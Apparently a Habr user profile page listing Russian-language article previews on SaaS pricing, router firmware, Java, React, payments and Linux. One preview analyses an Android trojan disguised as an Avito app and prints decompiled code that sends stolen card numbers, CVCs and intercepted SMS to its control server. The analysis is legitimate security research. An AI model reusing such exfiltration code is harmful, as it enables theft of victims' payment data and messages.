Pull to refresh
8
0
Никита @Nikiti4

User

Send message

Модель ценообразования для SaaS: больше денег – больше проблем

Reading time7 min
Views24K


Здравствуй, Хабрасообщество!

Сегодня хотим поделиться с вами переводной статьей, автор которой Lincoln Murphy — один из гуру западного рынка SaaS. С 2006-го года он помог более чем 300 компаниям ускорить их рост и развитие через оптимизацию жизненного цикла клиента, от его завоевания до удержания. Статья посвящена очень важному вопросу — выбору политики ценообразования, которая помогала бы с каждого клиента получить именно такой доход, который он реально готов заплатить за ваш продукт. Итак, поехали!

Эта статья о моделях ценообразования для SaaS, но начну я ее с рассказа о моделях поведения людей.

Все мы хорошо знаем, что счастье за деньги не купишь. За деньги можно купить свободу, и уже ее использовать для того, чтобы делать что-то, что сделает тебя счастливым. Деньги – лишь средство.

Узнать, почему в ценообразовании SaaS: больше денег - больше проблем
Total votes 35: ↑32 and ↓3+29
Comments18

Основные маркетинговые фишки в SaaS-проекте

Reading time4 min
Views4.8K
Существуют определенные закономерности в оформлении SaaS-проектов. В этом мы убедились, когда решили разрабатывать LPCloud – SaaS-платформу для работы с продающими страницами.

Изучив известные проекты, мы пришли к определенным результатам. Многие идеи перетекают от одного проекта к другому: видео, бесплатный пробный период, призыв к действию и т.д. Основными выводами решили поделиться с хабрасообществом.
Читать дальше →
Total votes 8: ↑6 and ↓2+4
Comments0

Исследуем китайские роутеры на RT5350

Reading time7 min
Views139K
Однажды, lolipop купил роутер на алиэкспрессе. Да не простой роутер, а очень компактный и дешевый, с 2 Ethernet-портами, USB, да еще и от фирмы, которая в начале 2000-х продавала свои mp3-плееры на территории РФ: Nexx WT1520H.
image
Стандартная прошивка, как и почти всегда, была скудная, и, конечно же, хотелось заменить ее на что-то более вменяемое. Но вот незадача — никаких альтернативных прошивок под роутер нет, и прошить непонятно как, т.к. никакие другие прошивки не принимались через веб-интерфейс, заголовок прошивки я раньше такой не видел, да и binwalk ничего в ней не находил, стало быть, она зашифрована:
00000000  32 33 35 30 6b d9 39 00  00 00 0e 02 00 00 00 00  |2350k.9.........|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 3e 19 53 c5  |............>.S.|
00000020  63 f5 51 9f 82 74 2d 03  2e 2f 1f 32 9c 4a 93 96  |c.Q..t-../.2.J..|
00000030  15 82 23 d0 b2 7e d7 1b  13 c3 1b 1f 06 fa f8 e0  |..#..~..........|
00000040  bb 43 9b c6 ee fc 4b 7a  e6 50 71 2b f4 f3 95 c3  |.C....Kz.Pq+....|
00000050  63 d0 a3 9c 92 2e 16 c6  19 1c 4a 93 cb 95 c3 63  |c.........J....c|
00000060  d2 9b 1a f5 2e 16 c6 19  1c 4a 93 f9 68 3c 9c 73  |.........J..h<.s|
00000070  14 63 d5 10 5e d3 6b 25  2b c2 2e 07 eb 85 73 25  |.c..^.k%+.....s%|
00000080  9b 6b c0 f2 d8 9b cf 65  56 ac a9 c2 28 61 dd 55  |.k.....eV...(a.U|
00000090  18 a4 5b e9 ba 11 93 ec  30 76 4f 40 c1 f0 7c cb  |..[.....0vO@..|.|
000000a0  36 d3 b3 93 fe 3d 6b 10  66 fa 43 39 f2 f6 c0 91  |6....=k.f.C9....|

lolipop слил данные с флешки через программатор, и мы начали в них ковыряться.
Читать дальше →
Total votes 169: ↑169 and ↓0+169
Comments32

Взрывы в Box2D

Reading time4 min
Views23K
Мой телеграм канал: https://t.me/winc0de.
В этой статье мы рассмотрим несколько видов взрывов в физическом движке Box2D.
Симуляция взрыва сводится к нахождению тел, которые находятся в радиусе действия взрывной волны и применении силы к ним, чтобы отбросить их от центра взрыва.

Мы расмотрим три вида взрывов разной сложности:
  • Нахождение тел в радиусе взрыва
  • Raycast – нахождения тел в радиусе лучей
  • Частицы – распространение многих маленьких тел от эпицентра взрыва

Читать дальше →
Total votes 50: ↑47 and ↓3+44
Comments21

Локализация приложений для китайского рынка

Reading time5 min
Views41K
Собственно, ни для кого не секрет, что рынок КНР (а еще и Гонконга и Тайваня) — мечта для любого игропроизводителя. Учитывая азарт китайцев, их внушаемость и распространенность мобильных телефонов среди населения (а также количество абонентов), удачный вход на китайский рынок может принести огромную прибыль.

В этой публикации я постараюсь описать весь этот трудоемкий путь, а так же основные подводные камни, могущие встретиться на этом пути. Добро пожаловать под кат.


Читать дальше →
Total votes 70: ↑66 and ↓4+62
Comments29

Команда разработчиков графического языка Processing представила официальную JavaScript-библиотеку p5.js

Reading time3 min
Views24K
Язык Processing, основанный на Java, был написан в 2001 году для создания графики и анимаций. Для использования этого языка в интернете в 2008 году Джон Резиг написал библиотеку Processing.js. Библиотека быстро завоевала популярность и активно развивалась в течение нескольких лет после релиза. Часы на кривых Безье, о которых на Хабре писали несколько дней назад, были созданы именно с помощью Processing.js.

В прошлом году команда разработчиков Processing объявила о планах создать собственную JavaScript-библиотеку. В августе бета-версия p5.js была представлена широкой публике. Библиотека p5.js сильно отличается от Processing.js по архитектуре. Главные отличия — отсутствие необходимости изучать язык Processing и более тесная интеграция с HTML. Processing.js — это транслятор Processing в JavaScript. Основное назначение этой библиотеки — рендеринг файлов PDE с исходным кодом Processing. При использовании этой библиотеки программист может вообще не знать JavaScript. Возможно, в 2008 году это была весьма удачная идея, но сейчас, после нескольких лет бурного развития JavaScript и появления множества графических библиотек сформировалось поколение программистов и дизайнеров, для которых JavaScript намного «роднее» и понятнее Java-подобного Processing.


Пример анимации, созданной с помощью языка Processing
Читать дальше →
Total votes 46: ↑46 and ↓0+46
Comments3

Как принимать платежи по кредитным картам — опыт Badoo

Reading time10 min
Views71K
Каждый год в мире появляются всё новые и новые способы оплаты. Но универсального, удобного для всех пользователей способа до сих пор нет. В 2008 году, когда мы только создавали систему биллинга для Badoo, нам казалось, что будущее за оплатой через SMS. Но, столкнувшись с реалиями разных стран, мы поняли, что это не так.

Предпочтения пользователей меняются в зависимости от страны и устройства, с которого они заходят на сайт. Очень близки к идеалу оказались банковские карты, популярность которых растет из года в год, в том числе и в России. Это не только один из самых распространенных способов оплаты, но и самый прибыльный из всех доступных на сайте Badoo, а их более 20.

Сегодня мы подробней расскажем о том, что осталось за рамками предыдущей статьи о биллинге: об обработке платежей посредством банковских карт; что надо знать и к чему готовиться, если вы только собираетесь их подключать; как увеличить их эффективность, если они у вас уже есть. В целом статья рассчитана на неподготовленных читателей, но и специалисты, возможно, найдут для себя кое-что интересное.
Читать дальше →
Total votes 88: ↑87 and ↓1+86
Comments60

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6+356
Comments143

Как правильно показывать клиенту интерактивный прототип сайта в первый раз

Reading time4 min
Views34K
Возьмём понятный всем пример. Интернет-магазин. Вот вы встретились с клиентом в первый раз, обсудили, что должен и не должен делать их будущий проект. После этого сформировали список функциональных требований и сопроводили его предварительной картой сайта. Всё это дело будет потом помещено в приложение номер один к договору на проектирование, но сегодня речь не об этом. Давайте для начала взглянем на карту сайта, которая у нас получилась.
Читать дальше →
Total votes 48: ↑41 and ↓7+34
Comments11

Java Agent на службе JVM

Reading time5 min
Views60K

Наверное многие слышали или сталкивались с таким параметром JVM как -javaagent, увидеть этот параметр вы могли используя Jrebel или Plumbr это могло выглядеть например так JAVA_OPTS=-javaagent:[path/to/]jrebel.jar или так -javaagent:/path-to/plumbr.jar
Хотя javaagent появился еще в версии java 1.5, многие разработчики так никогда и не использовали возможности агентов и имеют смутное представление что это такое.
Что же это за агент? Зачем он может нам понадобиться и как написать свой?
Читать дальше →
Total votes 40: ↑40 and ↓0+40
Comments10

Построение надежных веб-приложений на React: Часть 1, браузерные прототипы

Reading time8 min
Views44K
Перевод статьи «Building robust web apps with React: Part 1, in-browser prototypes», Matt Hinchliffe

От переводчика: это первая статья из цикла «Building robust web apps with React».
Переводы:


Когда я смотрю на то, как устроены браузеры и протоколы, на которых работает веб, мне становится как-то тревожно. Есть столько всего, что может и, обычно, идет не так, что становится удивительно, как хоть что-то из того, что мы пишем, вообще работает. Надежность «вопреки всему» происходит от отказоустойчивости и обратной совместимости, которые укоренились в ключевые части веб-стека. Браузер всегда сделает все возможное, чтобы отобразить, что-то полезное, будь-то парсинг плохо написанного документа, в котором невозможно получить зависимости, или, который на 10 лет устарел.

image
404PageFound содержит до сих пор работающие сайты, созданные еще в 1993 году.
Читать дальше →
Total votes 30: ↑28 and ↓2+26
Comments8

Путешествия банковской транзакции

Reading time8 min
Views151K
image

Некоторое время назад на Хабре уже мелькали посты о работе банкоматов: один и два, но оба они описывали принципы работы банкоматов и вообще карточного процессинга весьма поверхностно.
Для интересующихся под катом много подробностей работы карточного процессинга банка (много букв).
Читать дальше →
Total votes 101: ↑98 and ↓3+95
Comments104

Вирусы. Вирусы? Вирусы! Часть 1

Reading time15 min
Views128K


Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

Мы поговорим о компьютерных вирусах, как о коде, который способен порождать собственные копии, изменяясь от поколения к поколению. Которому, как и его биологическим собратьям, необходим файл-носитель, работоспособный, и остающийся работоспособным, чтобы давать жизнь новым поколениям вируса. Которому для размножения необходима благодатная среда, много вкусных исполняемых файлов, а также, много глупых и активных пользователей, чтобы они их запускали. Так что название «вирус» не просто красивый ярлычок для описания вредоносной программы, компьютерный вирус, в его классическом понимании, является сущностью весьма близкой к его биологическому аналогу. Человечество, как это не раз доказывалось, способно создавать весьма изощренные решения, особенно когда дело касается создания чего-нибудь наносящего вред другим людям.
Читать дальше →
Total votes 121: ↑97 and ↓24+73
Comments53

Обмен сообщениями и интернет-звонки в тяжелых условиях: как пять мобильных мессенджеров переваривают GPRS/EDGE?

Reading time4 min
Views29K
Несмотря на то, что возможностей для подключения к широкополосному мобильному интернету у пользователей всего мира становится все больше и больше, иногда приходится сталкиваться с ситуациями, когда скорость мобильного доступа в интернет оставляет желать лучшего: 3G отключается, и максимум, на что остается рассчитывать, это на GPRS/EDGE. Такое, например, может случится при большой нагрузке на сеть, в условиях слабого покрытия. А учитывая необъятные просторы России, где-то 3G даже попросту отсутствует. Поэтому было интересно посмотреть, как мобильные мессенджеры поведут себя на «узком канале». Четырем известным программам-лидерам отрасли — Line, Skype, Vider и WhatsApp, которые уже перешли стадию в 100 млн установок, составил компанию новый мессенджер Converse, при разработке которого было обращено особое внимание на работоспособность в условиях ограниченного канала передачи данных.

Читать дальше →
Total votes 56: ↑13 and ↓43-30
Comments49

Spring Security Hello World Java Config

Reading time11 min
Views102K
Привет всем!

В этом материале мы постараемся написать приложение защищенное Spring Security с применением Java Config (подхода на основе использования аннотаций и классов для настройки контекста Spring приложения) вместо XML.

Используемые Технологии


  • Spring 4.0.5 Release
  • Spring Boot 1.0.1
  • Spring Security 3.2.3 Release
  • Maven
  • Tomcat 8
  • Servlet Api 3.1
  • Java 1.8


Это будет очень простое веб приложение, Hello World на базе Spring MVC и Spring Security. Все настройки мы осуществим используя только Java классы, без единой строчки конфигурации в XML.

Подробности
Total votes 8: ↑7 and ↓1+6
Comments4

Удержание и возврат аудитории при помощи Email и Push-уведомлений

Reading time8 min
Views10K
"Нас трудно найти, легко потерять, и невозможно вернуть…" — Пользователи

Владельцы сайтов и мобильных приложений озабочены в первую очередь вопросами производства, покупки трафика и монетизации. Многие задумываются и об удержании аудитории, но практически никто не думает о том, как вернуть пользователя, когда он покинул сайт, или удалил приложение.

image

В статье мы разберем, как при помощи Email и Push-уведомлений удерживать и возвращать пользователей.

Читать дальше →
Total votes 22: ↑10 and ↓12-2
Comments8

Раскрашиваем значки от гугла

Reading time5 min
Views20K
Дизайн приложения — очень важная часть разработки. Google значительно его упрощает, предоставляя в свободном доступе около 150 готовых значков, заготовленных под разную плотность пикселей. Однако по умолчанию они серого цвета. Сделано это специально для того, чтобы дизайнер сам раскрасил их. Но если мы хотим просто придать значкам некоторый цвет — нет смысла редактировать каждый отдельно. Проще написать скрипт, который сделает работу за нас.

В этой статье будет представлена небольшая программка на Java, которая автоматически раскрашивает все значки в заданный цвет, алгоритм, по которому она работает, а также — архив уже раскрашенных значков, которые вы сразу можете использовать в своих приложениях.

Сразу оговорюсь — вполне возможно, что средствами Adobe Illustrator можно сделать всё то, о чём написано в статье и уже есть готовые скрипты. Но его нет под линуксом и вообще он дорого стоит. Думаю, что пользователи Linux и сторонники свободного ПО оценят мой подход.


Читать дальше →
Total votes 36: ↑26 and ↓10+16
Comments18

Исключения в Java, Часть II (checked/unchecked)

Reading time9 min
Views288K
Это вторая часть статьи (первая часть — try-catch-finally), посвященной такому языковому механизму Java как исключения. Она имеет вводный характер и рассчитана на начинающих разработчиков или тех, кто только приступает к изучению языка.

Также я веду курс «Scala for Java Developers» на платформе для онлайн-образования udemy.com (аналог Coursera/EdX).

1. Магия checked/unchecked
2. Пессимистичный механизм
3. throws с непроверяемым (unckecked) исключением
4. Множественные исключения
5. Или catch, или throws
6. Поведение компилятора/JVM
7. Overriding и throws
8. Передача свойства по наследству


1. «Магия» checked/unchecked



Механизм исключительных ситуация в Java связан с двумя элементами «магии», т.е. поведения, которое никак не отражено в исходном коде:
1. «Магию» java.lang.Throwable — в throw, catch и throws могут стоять исключительно Throwable или его наследники (мы уже разбирали в предыдущей лекции). Это «право» находиться в throw, catch и throws никак не отражено в исходном коде.
2. Все исключительные ситуации делятся на «проверяемые» (checked) и «непроверяемые» (unchecked). Это свойство присуще «корневищу» (Throwable, Error, Exception, RuntimeException) и передается по наследству. Никак не видимо в исходном коде класса исключения.
Читать дальше →
Total votes 31: ↑26 and ↓5+21
Comments12

Новый класс Optional в Java 8, не панацея от NullPointerException

Reading time4 min
Views151K
В релизе Java 8 появился новый класс Optional призванный помочь разработчикам в обработке NullPointerException.

С NullPointerException встречались многие и во многих случаях, это очень неприятное исключение заставляет дебажить код, дабы понять, в каком месте, кто-то из твоих предшественников(а возможно и ты), не поставили пресловутую проверку на null.

А что если вообще запретить назначать тем или иным полям класса значения равные null? Java естественно не запрещает нам делать этого, но с Optional это становится немного удобнее и нагляднее.

Итак, приступим к описанию основных возможностей этого нововведения.
Читать дальше →
Total votes 29: ↑27 and ↓2+25
Comments38

Изучаем внутреннюю кухню ядра Linux с помощью /proc для быстрой диагностики и решения проблем

Reading time13 min
Views67K
Данная статья касается современных линуксов. Например, RHEL6 с ядрами 2.6.3х — подойдёт, а вот RHEL5 с ядрами 2.6.18 (кстати, наиболее популярный в продакшне) — увы, нет. И ещё — здесь не будет описания ядерных отладчиков или скриптов SytemTap; только старые-добрые простые команды вида «cat /proc/PID/xyz» в отношении некоторых полезных узлов файловой системы /proc.

Диагностика «тормозящего» процесса


Вот хороший пример часто возникающей проблемы, которую я воспроизвёл на своём лаптопе: пользователь жалуется, что команда find работает «значительно медленнее», при этом не возвращая никаких результатов. Зная, в чём дело, мы решили проблему. Однако меня попросили изложить систематический подход к решению подобных задач.

К счастью, система работает под управлением OEL6, т.е. на достаточно свежем ядре (а именно — 2.6.39 UEK2)

Итак, приступим к диагностике.
Подробности
Total votes 127: ↑125 and ↓2+123
Comments28

Information

Rating
Does not participate
Location
Москва, Москва и Московская обл., Россия
Date of birth
Registered
Activity